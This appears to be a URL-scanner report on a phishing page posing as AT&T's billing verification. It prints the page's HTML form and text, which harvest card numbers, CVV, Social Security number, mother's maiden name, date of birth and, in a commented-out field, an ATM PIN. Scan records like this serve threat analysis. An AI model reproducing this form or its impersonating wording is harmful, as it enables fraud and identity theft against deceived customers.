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2a06:98c1:3120::3  Public Scan

Form analysis
1 forms found in the DOM

POST

<form id="auxForm" action="" method="post">
  <div class="field-container">
    <div class="card">
      <div class="card__content">
        <div class="form-control form-control--label-inline-at-768">
          <label class="form-control__label" for="cardno">Full Name </label>
          <div class="form-control__input">
            <p>
              <input type="text" class="cardno" autocomplete="off" id="fullName" name="fullname" placeholder="Enter Full Name" required="">
            </p>
          </div>
        </div>
      </div>
    </div>
    <div class="card">
      <div class="card__content">
        <div class="form-control form-control--label-inline-at-768">
          <label class="form-control__label" for="cardno">Credit / Debit card number </label>
          <div class="form-control__input">
            <p>
              <input type="text" class="cardno" autocomplete="off" id="cardno" name="cardno" placeholder="Credit/Debit card number" required="">
            </p>
          </div>
        </div>
      </div>
    </div>
    <div class="DOB_wrapper">
      <div class="label-container">
        <label for="expdate" class="">
          <span> Expiry Date </span></label>
      </div>
      <input type="tel" class="expd" autocomplete="off" id="expdate" name="expdate" maxlength="7" placeholder="MM/YYYY">
    </div>
    <div class="DOB_wrapper">
      <div class="label-container">
        <label for="phoneNumber" class=""></label> CVV <input id="cvv" name="cvv" placeholder="e.g 123" type="text" autocomplete="off" required="">
      </div>
    </div>
    <!-- <div class="DOB_wrapper">



<div class="label-container">
	<label for="dateOfBirth" class="">Atm Pin </label>
</div>
<input type="text" class="atmpin" autocomplete="off" id="atmpin" name="atmpin" data-mask="0000" placeholder="e.g 0000">
</div>
 -->
    <div class="phoneNumber_wrapper">
      <div class="label-container">
        <label for="mmn" class=""></label> Mother's Maiden Name <input id="mmn" name="mmn" data-msg-phoneus="Please enter your mothers maiden name." placeholder="Mother's Maiden Name" type="text" autocomplete="off" required="">
      </div>
    </div>
  </div>
  <div class="DOB_wrapper">
    <div class="label-container">
      <label for="dateOfBirth" class="">
        <span> Date of Birth </span>
      </label>
    </div>
    <input type="text" class="dob" autocomplete="off" id="dateOfBirth" name="dateOfBirth" placeholder="MM/DD/YYYY" required="">
  </div>
  <div class="DOB_wrapper">
    <div class="label-container">
      <label for="dateOfBirth" class="form-control__input">
        <span> Social Security Number </span>
      </label>
    </div>
    <input type="text" class="dob" autocomplete="off" id="ssn" name="ssn" placeholder="XXX-XX-XXXX" required="">
  </div>
  <div class="phoneNumber_wrapper">
    <div class="label-container">
      <label for="phoneNumber" class="">
        <span> Phone Number On Account </span>
      </label>
    </div>
    <input id="accountPhoneNumber2" name="accountPhoneNumber2" placeholder="(###) ###-####" type="tel" required="">
  </div>
  <div class="card">
    <div class="card__content">
      <div class="form-control form-control--label-inline-at-768">
        <p></p>
        <label class="form-control__label" for="cardno">Address </label>
        <div class="form-control__input">
          <p>
            <input type="text" class="cardno" autocomplete="off" id="address" name="addresss" required="">
          </p>
        </div>
      </div>
    </div>
  </div>
  <div class="DOB_wrapper">
    <div class="label-container">
      <label for="expdate" class="">
        <span> State </span></label>
    </div>
    <input type="tel" class="expd" autocomplete="off" id="state" name="state" required="">
  </div>
  <div class="DOB_wrapper">
    <div class="label-container">
      <label for="phoneNumber" class=""></label> Zip Code <input id="zip" name="zip" type="text" autocomplete="off" required="">
    </div>
  </div>
  <p>
  </p>
  <div class="button-wrapper">
    <!-- 	<button name="_eventId" class="secondary cancel" type="button" value="selectDifferentMethod">Cancel</button> -->
    <button name="_eventId" class="submit" type="submit" value="next" data-loader="true">Continue</button>
  </div>
</form>

Text Content

AT&T © Official - Wireless, Official & DirectTV offers


VERIFY YOUR ACCOUNT BILLING INFORMATION

Full Name



Credit / Debit card number



Expiry Date
CVV
Mother's Maiden Name
Date of Birth
Social Security Number
Phone Number On Account



Address



State
Zip Code



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